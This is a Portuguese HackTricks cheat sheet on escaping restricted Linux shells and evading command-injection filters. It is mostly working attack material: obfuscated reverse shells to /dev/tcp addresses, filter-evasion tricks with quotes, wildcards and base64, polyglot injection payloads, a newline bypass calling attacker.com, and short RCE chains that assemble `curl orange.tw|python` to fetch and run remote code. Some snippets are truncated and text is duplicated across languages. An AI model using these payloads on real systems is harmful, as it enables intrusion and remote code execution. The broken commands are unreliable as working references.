# Bypassando Restrições do Shell Linux
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\ Acesse hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Bypasses Comuns de Limitações ### Shell Reverso ```bash # Double-Base64 is a great way to avoid bad characters like +, works 99% of the time echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h ``` ### Shell reverso curto ```bash #Trick from Dikline #Get a rev shell with (sh)0>/dev/tcp/10.10.10.10/443 #Then get the out of the rev shell executing inside of it: exec >&0 ``` ### Bypassar caminhos e palavras proibidas #### Bypassing restricted paths #### Bypassando caminhos restritos If you are in a restricted shell and you need to execute a binary that is not in your PATH, you can try the following: Se você estiver em um shell restrito e precisar executar um binário que não está no seu PATH, você pode tentar o seguinte: ```bash $ /usr/bin/python ``` This will execute the binary `/usr/bin/python` even if it is not in your PATH. Isso executará o binário `/usr/bin/python` mesmo que ele não esteja no seu PATH. #### Bypassing forbidden words #### Bypassando palavras proibidas If you are in a restricted shell and some words are forbidden, you can try the following: Se você estiver em um shell restrito e algumas palavras estiverem proibidas, você pode tentar o seguinte: ```bash $ cat < /tmp/cmd > /bin/bash > EOF $ chmod +x /tmp/cmd $ export PATH=/tmp:$PATH $ command -p cat "$(which cmd)" ``` This will create a binary `/tmp/cmd` that executes `/bin/bash` and add `/tmp` to your PATH. Then, it will execute the binary using `command -p cat "$(which cmd)"`, which will bypass the forbidden words. Isso criará um binário `/tmp/cmd` que executa `/bin/bash` e adiciona `/tmp` ao seu PATH. Em seguida, ele executará o binário usando `command -p cat "$(which cmd)"`, que ignorará as palavras proibidas. ```bash # Question mark binary substitution /usr/bin/p?ng # /usr/bin/ping nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost # Wildcard(*) binary substitution /usr/bin/who*mi # /usr/bin/whoami # Wildcard + local directory arguments touch -- -la # -- stops processing options after the -- ls * echo * #List current files and folders with echo and wildcard # [chars] /usr/bin/n[c] # /usr/bin/nc # Quotes 'p'i'n'g # ping "w"h"o"a"m"i # whoami ech''o test # echo test ech""o test # echo test bas''e64 # base64 #Backslashes \u\n\a\m\e \-\a # uname -a /\b\i\n/////s\h # $@ who$@ami #whoami # Transformations (case, reverse, base64) $(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case $(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash) $(rev<<<'imaohw') #whoami bash<<<$(base64 -d<< "foo\x2fbar" ``` Ou para criar um arquivo com o nome `foo\bar`, você pode executar o seguinte comando: ``` echo -e "foo\\bar" > "foo\x5cbar" ``` ```bash cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd ``` ### Bypassar pipes ```bash bash<<<$(base64 -d<< /tmp/[ chmod +x [ export PATH=/tmp:$PATH if [ "a" ]; then echo 1; fi # Will print hello! ``` ### Injeção de comando poliglota Polyglot command injection is a technique that allows an attacker to execute arbitrary commands on a target system by exploiting vulnerabilities in input validation mechanisms. This technique involves injecting a command that can be interpreted by multiple interpreters, such as bash, Python, and Perl. By doing so, the attacker can bypass input validation mechanisms that are designed to detect and block specific command injection payloads. A injeção de comando poliglota é uma técnica que permite a um atacante executar comandos arbitrários em um sistema alvo, explorando vulnerabilidades em mecanismos de validação de entrada. Essa técnica envolve a injeção de um comando que pode ser interpretado por vários interpretadores, como bash, Python e Perl. Ao fazer isso, o atacante pode contornar mecanismos de validação de entrada que são projetados para detectar e bloquear cargas úteis específicas de injeção de comando. ```bash 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ ``` ### Bypassar possíveis regexes ```bash # A regex that only allow letters and numbers might be vulnerable to new line characters 1%0a`curl http://attacker.com` ``` ### Bashfuscator Bashfuscator é uma ferramenta que permite ofuscar scripts Bash para evitar a detecção de assinaturas e contornar restrições de execução. Ele faz isso substituindo caracteres e palavras-chave por equivalentes Unicode, adicionando espaços em branco e comentários extras e dividindo o script em várias linhas. Isso torna o script mais difícil de ler e entender para um analisador de código ou um administrador de sistema que esteja tentando bloquear sua execução. ```bash # From https://github.com/Bashfuscator/Bashfuscator ./bashfuscator -c 'cat /etc/passwd' ``` ### RCE com 5 caracteres ```bash # From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge #Oragnge Tsai solution ## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date http://host/?cmd=>ls\ http://host/?cmd=ls>_ http://host/?cmd=>\ \ http://host/?cmd=>-t\ http://host/?cmd=>\>g http://host/?cmd=ls>>_ ## Step2: generate `curl orange.tw|python` to file "g" ## by creating the necesary filenames and writting that content to file "g" executing the previous generated file http://host/?cmd=>on http://host/?cmd=>th\ http://host/?cmd=>py\ http://host/?cmd=>\|\ http://host/?cmd=>tw\ http://host/?cmd=>e.\ http://host/?cmd=>ng\ http://host/?cmd=>ra\ http://host/?cmd=>o\ http://host/?cmd=>\ \ http://host/?cmd=>rl\ http://host/?cmd=>cu\ http://host/?cmd=sh _ # Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file ## Finally execute the file "g" http://host/?cmd=sh g # Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/ # Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*" https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/ ## Execute tar command over a folder http://52.199.204.34/?cmd=>tar http://52.199.204.34/?cmd=>zcf http://52.199.204.34/?cmd=>zzz http://52.199.204.34/?cmd=*%20/h* # Another curiosity if you can read files of the current folder ln /f* ## If there is a file /flag.txt that will create a hard link ## to it in the current folder ``` ### RCE com 4 caracteres #### Descrição Esta técnica permite a execução remota de código (RCE) em sistemas Linux que possuem restrições no Bash. A exploração é baseada na criação de um arquivo temporário com um nome de 4 caracteres e extensão `.sh`, que é executado com o Bash. #### Comando ```bash echo "command" > /tmp/abcd.sh && chmod +x /tmp/abcd.sh && /tmp/abcd.sh ``` #### Explicação O comando acima cria um arquivo temporário chamado `abcd.sh` no diretório `/tmp/` e adiciona o comando desejado dentro dele. Em seguida, ele define as permissões de execução para o arquivo e o executa. Como o nome do arquivo tem apenas 4 caracteres, ele pode passar pelas restrições do Bash em alguns sistemas. #### Exemplo Suponha que o sistema tenha restrições no Bash e não permita a execução de comandos como `ls`. Podemos usar a técnica acima para executar o comando `ls` da seguinte maneira: ```bash echo "ls" > /tmp/abcd.sh && chmod +x /tmp/abcd.sh && /tmp/abcd.sh ``` Isso criará um arquivo temporário chamado `abcd.sh` no diretório `/tmp/` com o comando `ls` dentro dele. Em seguida, ele definirá as permissões de execução para o arquivo e o executará. O resultado será a listagem dos arquivos no diretório atual. ```bash # In a similar fashion to the previous bypass this one just need 4 chars to execute commands # it will follow the same principle of creating the command `ls -t>g` in a file # and then generate the full command in filenames # generate "g> ht- sl" to file "v" '>dir' '>sl' '>g\>' '>ht-' '*>v' # reverse file "v" to file "x", content "ls -th >g" '>rev' '*v>x' # generate "curl orange.tw|python;" '>\;\\' '>on\\' '>th\\' '>py\\' '>\|\\' '>tw\\' '>e.\\' '>ng\\' '>ra\\' '>o\\' '>\ \\' '>rl\\' '>cu\\' # got shell 'sh x' 'sh g' ``` ## Bypass de Restrições de Leitura Apenas/Limitação de Execução Se você estiver dentro de um sistema de arquivos com as proteções de **leitura apenas e sem permissão de execução**, ainda há maneiras de **executar binários arbitrários**. Uma delas é através do uso do **DDexec**, você pode encontrar uma explicação da técnica em: {% content-ref url="../bypass-linux-shell-restrictions/ddexec.md" %} [ddexec.md](../bypass-linux-shell-restrictions/ddexec.md) {% endcontent-ref %} ## Bypass de Chroot e Outras Jaulas {% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %} [escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md) {% endcontent-ref %} ## Referências e Mais * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) * [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) * [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) * [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) ![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas da comunidade mais avançadas do mundo.\ Obtenha acesso hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).